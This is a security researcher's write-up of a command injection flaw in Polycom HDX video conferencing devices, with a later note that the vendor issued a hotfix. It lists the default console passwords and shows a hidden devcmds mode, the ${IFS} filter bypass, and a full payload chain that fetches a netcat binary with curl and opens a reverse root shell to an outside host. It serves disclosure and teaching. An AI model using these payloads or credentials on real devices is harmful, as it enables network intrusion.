Polycom HDX Series RCE

When doing external assessments you spend a decent amount of time footprinting your target and finding possible avenues of attack. Given a large corporate, you are pretty likely to hit video conferencing end-points. This post details a vulnerability in one of these video conferencing systems, the Polycom HDX series.

I identified this vulnerability while still at SensePost and reported it to Polycom. The vulnerability was acknowledged and we were informed that a patch would be issued. This was over a year ago and I have yet to see an official advisory or patch. They have fixed an XXS in the HDX series since the disclosure of this vuln, so maybe this has been deemed low impact.

Polycom PSH

The Polycom HDX Series exposes an administrative console on port 23. This administrative interface is built on PSH (Polycom Shell) and allows management of the underlying device. By default there is no password, or the password is either set to 456, admin, or POLYCOM, there is no username. An auth bypass vulnerability for PSH also exists, however it is from 2013 so, in theory, most systems should be patched.

When connected to the PSH console you have a ton of actions available to you, and you could cause havok with the underlying conferencing system.

PSH provides a number of commands

These are all useful commands, however not what you usually want, as you are looking for a way into the internal network. How about command execution and pivoting into the internal network? Looking at the auth bypass vuln from 2013, they mention an even older vuln where RCE existed through command injection in the ping command.

Enumerating the Attack Surface

During my assessment, I identified a Polycom endpoint with no authentication enabled. Not having any other avenues of attack available, I decided to try and pivot through this into the internal network. Using the old ping command execution vulnerability I tried to get a shell and unfortunately failed as the device had already been patched.The past existence of a trivial RCE bug did make me think that it could be possible to find a similar bug in another function.

Digging through the reference manual and manually testing each command on offer, none gave me command execution. The next step was to try and find hidden functionality. For this I got a copy of the system software from the Polycom update site. The update comes as a .pup file and I used binwalk to get an idea of how this format fits together. Turns out it is rather simple, and binwalk is able to automatically extract all the parts for you.

binwalk -e polycom-hdx-release-3.1.10-51067.pup  

The pup file contains a .tar with all the updates

The next step was to dig into the all the binaries and figure out which ones are important and are used by the polycom command shell (PSH). A quick consultation of the Polycom Technical Documents and also using the information gained when accessing PSH and typing help, I knew exactly what to search for.

I extracted all the .tar.gz files in the polycom_swupdate folder and then did a grep for one of the known commands.

cd _polycom-hdx-release-3.1.10-51067.pup.extracted/polycom_swupdate
tar xf polycom.g3.1.tar.gz
grep dialchannels -R *

Finding the binary with PSH

The new target was the avc binary. The lazyman’s approach to investigating a binary is to use strings, and this is exactly what I did.

strings avc | less

Which gave me a scroll-able and searchable peek into the binary and possibly commands. Seeing as the dialchannels command showed up in a grep, it was a strong indication that there would be other commands hard-coded into the binary’s strings. This started the painstaking process of going through all the strings. Luckily for us there is a shortcut. The binary was written in c/c++ and uses string formatting throughout. I simply need to search for possible commands that take a string (%s) and passes these into known Linux system commands.

A search for %s leads to string format vulns

The most promising result was the traceroute command. The reason for this was two-fold. One, it seemed to call the Linux command directly and used string formating to supply the arguments. And secondly, the previously reported command injection vuln existed in the ping command (ah our favourite injection point for OS cmd injection). At this point it seemed to be game over, I simply had to invoke traceroute `sleep 10` and I would have command exec. Turns out it wasn’t that easy. Trying to call the traceroute command kept returning errors stating that the command did not exist. Seems like there was no direct traceroute command, so I had to hunt down the correct command for invoking traceroute. For this, I went back to the strings and searched for traceroute.

Had to search for traceroute

Now I knew that traceroute was part of the lan command and I could try injecting into this command. Back to the Polycom Command Shell to give it a try. And the shell complains that there is no traceroute option for the lan command.

No such command

Surely there is! I found it in the binary. Some more head scratching and poking around, until I spot an undocumented command while going through the bin/psh binary. This command looks too juicy to be true, devcmds. Giving this a try I was greeted with an interesting message:

-> devcmds
Entering sticky internal commands *ONLY* mode

Devcmds Mode - Exploitation

Once inside this mode, I tried some of the original commands and suddenly they no longer worked. It looks like devcmds activated a new code branch. Trying the lan command again, and suddenly I had traceroute. A quick confirmation, with lan traceroute 127.0.0.1 showed that the command worked.

Traceroute now worked

Next step was to try some command injection.

lan traceroute `echo 127.0.0.1`

Cmd injection failed

Sadly this failed and said I had supplied invalid arguments.

2017-11-12 12:16:40 DEBUG avc: pc[0]: NOTIFY: SYS lan traceroute Error:
2017-11-12 12:16:40 ERROR avc: pc[0]: DevMgrEther: DevMgrEther_Process_TraceRoute - (/usr/bin/traceroute `echo 2>&1 > /tmp/traceroute.out) failed [errno: 2 - No such file or directory]

Looking at the output it quickly became clear that everything after the echo was dropped. This is because of the space, as the code interprets this as a separate argument (likely they are doing a split on spaces).

${IFS}

Fortunately Bash/Sh has a nice environmental variable, $IFS or Internal Field Separator, which I could use instead of the space character. Simply replace all spaces in the cmd injection with ${IFS} and it should work.

lan traceroute `echo${IFS}127.0.0.1`
2009-07-25 06:08:41 DEBUG avc: pc[0]: uimsg: D: lan traceroute `echo${IFS}127.0.0.1`
2009-07-25 06:08:41 DEBUG avc: pc[0]: os: task:DETR pid:1754 thread 622ff4c0 17255 13fbc110
2009-07-25 06:08:41 INFO avc: pc[0]: DevMgrEther: Trace Route Command Entry, hostnameORIP: `echo${IFS}127.0.0.1` hop_count: 0

Traceroute now works with command injection

Exploitation

Is it RCE if you don’t get a proper shell out of it? Challenge accepted. Testing out the command injection, a further limitation was found. It seems like the semi-colon (;) was being stripped (no idea why, maybe a partial fix for the cmd injection in the ping?). Another issue was that I only had a limited number of pre-installed binaries available on the underlying Polycom device. This meant no nc and a reverse bash shell was also not working.

Fortunately curl was available, meaning it would be simple to download custom binaries to the device and reuse these. I decided to got with a netcat reverse shell, so I needed a version of nc that would work on the Polycom device. Polycom runs on a powerpc, meaning I required a compatible nc binary, I couldn’t simply upload my local copy. This wasn’t truelly an issue and was easy to get around. Firing up a powerpc based Debian image – I was able to get a netcat (nc) that has been compiled for powerpc and conveniently had the -e option.

Run the Debian image with qemu:

qemu-system-ppc -hda debian_squeeze_powerpc_standard.qcow2

Login with root:root and then copy the /bin/nc.traditional binary across:

Localhost:

nc -lv 8999 > /tmp/nc

In qemu:

cat /bin/nc.traditional | nc 192.168.1.101 8999

Now to exploit the Polycom RCE fully.

Shell Train

I uploaded the powerpc version of nc to a webserver, so that I could download this from the Polycom device. I then setup a listener to “catch” the reverse connection.

Setup the listener:

nc -lvp 444

Our payload to download nc, make it executable and then create a reverse shell, save it in a file on our webserver:

curl x.x.x.x:443/nc -o /tmp/nc
/bin/chmod +x /tmp/nc
/tmp/nc -e /bin/sh x.x.x.x 444
 

And then execute the following through the command injection

lan traceroute `echo${IFS}127.0.0.1&curl${IFS}x.x.x.x:443/ncexec${IFS}|sh${IFS}&`

Root

Fin

At this point I had full root access to the underlying device and could access internal hosts. Ideally the conferencing system has been placed on a separate subnet and does not have access to the internal network. But, we all know the story about flat networks and lack of segregation.

Update - 18/11/2017

Polycom has released a hotfix to patch this issue. Hotfix release: Security Advisory hdx-v0.3-hotfix.pdf Security center: http://support.polycom.com/content/support/security-center.html

Austin (realoriginal) also a Metasploit module for this issue, awesome work!